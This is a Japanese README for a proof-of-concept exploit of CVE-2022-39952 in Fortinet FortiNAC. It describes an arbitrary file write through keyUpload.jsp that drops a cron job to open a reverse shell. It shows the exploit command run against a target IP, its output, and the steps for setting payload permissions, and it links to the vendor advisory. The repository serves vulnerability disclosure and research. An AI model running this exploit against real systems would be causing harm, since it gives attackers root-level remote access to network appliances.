horizon3ai/cve-2022-39952Fortinet FortiNACを標的としたCVE-2022-39952の概念実証エクスプロイト。keyUpload.jspエンドポイントを悪用して任意のファイル書き込みを行い、cronベースのリバースシェルペイロードを展開します。
Fortinet FortiNACに影響するCVE-2022-39952のPOC
このエクスプロイトのデフォルト設定は、リバースシェルを作成するcronジョブを書き込みます。環境に合わせてpayloadファイルを必ず変更してください。
脆弱性の根本原因分析と侵害指標については、弊社ブログをご覧ください: https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs
このPOCはkeyUpload.jspエンドポイントを悪用して任意のファイル書き込みを実現します。
root@kali:~/CVE-2022-39952# python3 CVE-2022-39952.py --target 10.0.40.85 --file payload
[+] Wrote payload to /etc/cron.d/payload
[+] Payload successfully delivered
cronベースのペイロードを使用する場合、ペイロードファイルに適切な権限と所有者が設定されていることを確認してください：
sudo chown root:root payload
sudo chmod 0644 payload
PSIRT内の指示に従って最新バージョンに更新してください https://www.fortiguard.com/psirt/FG-IR-22-300
本ソフトウェアは、学術研究と効果的な防御技術の開発を目的として作成されたものであり、明示的に許可された場合を除き、システムへの攻撃に使用することを意図していません。プロジェクトメンテナは、本ソフトウェアの誤用について一切の責任を負いません。責任を持ってご使用ください。